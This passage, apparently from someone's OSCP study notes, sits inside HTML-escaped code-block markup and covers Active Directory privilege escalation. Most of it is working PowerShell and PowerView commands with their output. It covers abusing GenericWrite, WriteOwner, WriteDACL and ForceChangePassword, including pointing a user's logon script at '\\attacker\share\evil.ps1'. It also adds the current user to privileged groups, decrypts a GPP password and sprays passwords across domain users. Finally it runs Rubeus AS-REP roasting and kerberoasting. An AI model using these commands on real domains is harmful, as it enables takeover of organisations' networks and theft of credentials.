UserA NewPass123! /domain # Change the password directly&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Using GenericWrite:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;powershellCopy# Modify the user&amp;#39;s script path to achieve code execution&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Set-ADUser -Identity UserA -ScriptPath &amp;#34;\\attacker\share\evil.ps1&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Using WriteOwner:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;powershellCopy# First, change the owner to yourself&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Set-DomainObjectOwner -Identity &amp;#34;Domain Admins&amp;#34; -OwnerIdentity YourAccount&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Further operations are then possible&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Using WriteDACL:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;powershellCopy# Grant yourself full permissions&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Add-DomainObjectAcl -TargetIdentity &amp;#34;Domain Admins&amp;#34; -Rights All&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Using ForceChangePassword:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;powershellCopy# Change the password directly&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Set-DomainUserPassword -Identity targetuser -AccountPassword (ConvertTo-SecureString &amp;#39;Password123!&amp;#39; -AsPlainText -Force)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Using Self (Self-Membership):&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;powershellCopy# Add yourself to the group&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Add-DomainGroupMember -Identity &amp;#39;Domain Admins&amp;#39; -Members &amp;#39;YourAccount&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# The above covers usage; below, query information and use the results for privilege escalation&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# View which ACEs apply to the current user&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PS C:\Tools&amp;gt; Get-ObjectAcl -Identity stephanie&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;...&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ObjectDN : CN=stephanie,CN=Users,DC=corp,DC=com&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ObjectSID : S-1-5-21-1987370270-658905905-1781884369-1104&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ActiveDirectoryRights : ReadProperty&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ObjectAceFlags : ObjectAceTypePresent&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ObjectAceType : 4c164200-20c0-11d0-a768-00aa006e0529&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;InheritedObjectAceType : 00000000-0000-0000-0000-000000000000&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;BinaryLength : 56&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;AceQualifier : AccessAllowed&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;IsCallback : False&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;OpaqueLength : 0&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;AccessMask : 16&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;SecurityIdentifier : S-1-5-21-1987370270-658905905-1781884369-553&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;AceType : AccessAllowedObject&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;AceFlags : None&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;IsInherited : False&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;InheritanceFlags : None&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PropagationFlags : None&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;AuditFlags : None&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# In this example, the current SID is S-1-5-21-1987370270-658905905-1781884369-1104&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# S-1-5-21-1987370270-658905905-1781884369-553 grants us ReadProperty permission&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Next, identify the owner of this SID&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PS C:\Tools&amp;gt; Convert-SidToName S-1-5-21-1987370270-658905905-1781884369-1104&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;CORP\stephanie&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# This shows which permissions SecurityIdentifier has over ObjectSID&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# The example below queries who has full control over the &amp;#34;Management Department&amp;#34; group&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PS C:\Tools&amp;gt; Get-ObjectAcl -Identity &amp;#34;Management Department&amp;#34; | ? {$_.ActiveDirectoryRights -eq &amp;#34;GenericAll&amp;#34;} | select SecurityIdentifier,ActiveDirectoryRights&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;SecurityIdentifier ActiveDirectoryRights&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;------------------ ---------------------&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;S-1-5-21-1987370270-658905905-1781884369-512 GenericAll&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;S-1-5-21-1987370270-658905905-1781884369-1104 GenericAll&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;S-1-5-32-548 GenericAll&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;S-1-5-18 GenericAll&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;S-1-5-21-1987370270-658905905-1781884369-519 GenericAll&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PS C:\Tools&amp;gt; &amp;#34;S-1-5-21-1987370270-658905905-1781884369-512&amp;#34;,&amp;#34;S-1-5-21-1987370270-658905905-1781884369-1104&amp;#34;,&amp;#34;S-1-5-32-548&amp;#34;,&amp;#34;S-1-5-18&amp;#34;,&amp;#34;S-1-5-21-1987370270-658905905-1781884369-519&amp;#34; | Convert-SidToName&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;CORP\Domain Admins&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;CORP\stephanie&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;BUILTIN\Account Operators&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Local System&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;CORP\Enterprise Admins&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# The output above shows that stephanie, the current user, has full control over this group&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# This allows adding yourself or another user to the group and using the group&amp;#39;s permissions&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PS C:\Tools&amp;gt; net group &amp;#34;Management Department&amp;#34; stephanie /add /domain&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;The request will be processed at a domain controller for domain corp.com.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;The command completed successfully.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# The current user was added above; query permissions to confirm membership&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PS C:\Tools&amp;gt; Get-NetGroup &amp;#34;Management Department&amp;#34; | select member&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;member&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;------&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;{CN=jen,CN=Users,DC=corp,DC=com, CN=stephanie,CN=Users,DC=corp,DC=com}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PS C:\Tools&amp;gt; net group &amp;#34;Management Department&amp;#34; stephanie /del /domain&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;The request will be processed at a domain controller for domain corp.com.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;The command completed successfully.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# View group permissions&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-ObjectAcl -Identity &amp;#34;Management Department&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Verify these items, then remove them&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PS C:\Tools&amp;gt; Get-NetGroup &amp;#34;Management Department&amp;#34; | select member&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;member&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;------&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;CN=jen,CN=Users,DC=corp,DC=com&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PS C:\Tools&amp;gt; net group &amp;#34;Management Department&amp;#34; stephanie /del /domain&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;The request will be processed at a domain controller for domain corp.com.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;The command completed successfully.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Use PowerView again to verify that jen is the group&amp;#39;s only member:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PS C:\Tools&amp;gt; Get-NetGroup &amp;#34;Management Department&amp;#34; | select member&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;member&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;------&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;CN=jen,CN=Users,DC=corp,DC=com&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;span class="lnt"&gt;25&#10;&lt;/span&gt;&lt;span class="lnt"&gt;26&#10;&lt;/span&gt;&lt;span class="lnt"&gt;27&#10;&lt;/span&gt;&lt;span class="lnt"&gt;28&#10;&lt;/span&gt;&lt;span class="lnt"&gt;29&#10;&lt;/span&gt;&lt;span class="lnt"&gt;30&#10;&lt;/span&gt;&lt;span class="lnt"&gt;31&#10;&lt;/span&gt;&lt;span class="lnt"&gt;32&#10;&lt;/span&gt;&lt;span class="lnt"&gt;33&#10;&lt;/span&gt;&lt;span class="lnt"&gt;34&#10;&lt;/span&gt;&lt;span class="lnt"&gt;35&#10;&lt;/span&gt;&lt;span class="lnt"&gt;36&#10;&lt;/span&gt;&lt;span class="lnt"&gt;37&#10;&lt;/span&gt;&lt;span class="lnt"&gt;38&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Import PowerView again&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PS C:\Tools&amp;gt; Find-DomainShare&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Name Type Remark ComputerName&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;---- ---- ------ ------------&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ADMIN$ 2147483648 Remote Admin DC1.corp.com&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C$ 2147483648 Default share DC1.corp.com&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;IPC$ 2147483651 Remote IPC DC1.corp.com&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;NETLOGON 0 Logon server share DC1.corp.com&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;SYSVOL 0 Logon server share DC1.corp.com&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ADMIN$ 2147483648 Remote Admin web04.corp.com&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;backup 0 web04.corp.com&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C$ 2147483648 Default share web04.corp.com&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;IPC$ 2147483651 Remote IPC web04.corp.com&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ADMIN$ 2147483648 Remote Admin FILES04.corp.com&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C 0 FILES04.corp.com&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C$ 2147483648 Default share FILES04.corp.com&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;docshare 0 Documentation purposes FILES04.corp.com&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;IPC$ 2147483651 Remote IPC FILES04.corp.com&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Tools 0 FILES04.corp.com&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Users 0 FILES04.corp.com&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows 0 FILES04.corp.com&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ADMIN$ 2147483648 Remote Admin client74.corp.com&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C$ 2147483648 Default share client74.corp.com&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;IPC$ 2147483651 Remote IPC client74.corp.com&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ADMIN$ 2147483648 Remote Admin client75.corp.com&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C$ 2147483648 Default share client75.corp.com&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;IPC$ 2147483651 Remote IPC client75.corp.com&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sharing 0 client75.corp.com&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;This shows many accessible SMB directories, but does not indicate read or write access&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Then perform the classic SYSVOL XML-file check&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# This provides a convenient one-line command without the usual extra steps&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;gpp-decrypt &amp;#34;+bsY0V3d4/KgX3VJdO/vyepPfAN1zMFTiQDApgR92JE&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Next, inspect shares for non-default content, for example&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;docshare&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\Tools\Spray-Passwords.ps1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# It identifies domain users automatically and supports a single password or wordlist for brute forcing&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;.\Spray-Passwords.ps1 -Pass Nexus123! -Admin&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;.\Spray-Passwords.ps1 -File 1.txt -Admin&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="89rubeus"&gt;&lt;a href="#89rubeus" class="header-anchor"&gt;&lt;/a&gt;89.Rubeus&#10;&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# This failed every time in the OSCP lab, but it is still useful enough to note&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Transfer it to the target machine&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Perform AS-REP Roasting in one step, then use hashcat&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;.\Rubeus.exe asreproast /nowrap&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Find service-account tickets in one step, similar to GetUserSPNs&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;.\Rubeus.exe kerberoast /outfile:hashes.kerberoast&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Check the target service&amp;#39;s SPN when generating a ticket&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;setspn -L username&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="90lateral-movement-in-ad-some-great-ideas-from-oscp"&gt;&lt;a href="#90lateral-movement-in-ad-some-great-ideas-from-oscp" class="header-anchor"&gt;&lt;/a&gt;90.Lateral Movement in AD (Some Great Ideas from OSCP)&#10;&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 10&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 11&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 12&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 13&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 14&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 15&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 16&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 17&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 18&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 19&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 20&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 21&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 22&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 23&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 24&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 25&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 26&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 27&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 28&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 29&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 30&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 31&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 